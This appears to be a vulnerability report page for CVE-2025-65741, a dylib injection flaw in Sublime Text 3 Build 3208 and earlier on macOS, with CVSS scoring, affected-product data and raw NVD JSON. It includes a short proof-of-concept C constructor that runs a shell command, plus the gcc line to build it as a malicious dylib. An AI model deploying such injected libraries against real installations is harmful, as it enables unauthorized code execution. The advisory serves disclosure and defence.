Security Vulnerability Report
中文
CVE-2025-65741 CVSS 9.8 CRITICAL

CVE-2025-65741

Published: 2025-12-09 20:15:54
Last Modified: 2026-01-02 21:29:22

Description

Sublime Text 3 Build 3208 or prior for MacOS is vulnerable to Dylib Injection. An attacker could compile a .dylib file and force the execution of this library in the context of the Sublime Text application.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:sublimetext:sublime_text_3:*:*:*:*:*:macos:*:* - VULNERABLE
Sublime Text 3 Build 3208及更早版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# 恶意动态库示例代码(PoC) #include <dlfcn.h> #include <stdio.h> __attribute__((constructor)) void malicious_payload() { printf("[+] Dylib Injection Successful!\n"); system("whoami > /tmp/pwned.txt"); } # 编译命令: gcc -dynamiclib -o malicious.dylib malicious.c

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65741", "sourceIdentifier": "[email protected]", "published": "2025-12-09T20:15:54.480", "lastModified": "2026-01-02T21:29:21.603", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Sublime Text 3 Build 3208 or prior for MacOS is vulnerable to Dylib Injection. An attacker could compile a .dylib file and force the execution of this library in the context of the Sublime Text application."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-427"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:sublimetext:sublime_text_3:*:*:*:*:*:macos:*:*", "versionEndExcluding": "3.2.2", "matchCriteriaId": "BA901AF2-A0E9-49B2-8EBD-E5B335939F76"}]}]}], "references": [{"url": "https://github.com/sublimehq/sublime_text", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/vinicius-batistella/CVE-2025-65741/", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.sublimetext.com/3", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/vinicius-batistella/CVE-2025-65741/", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}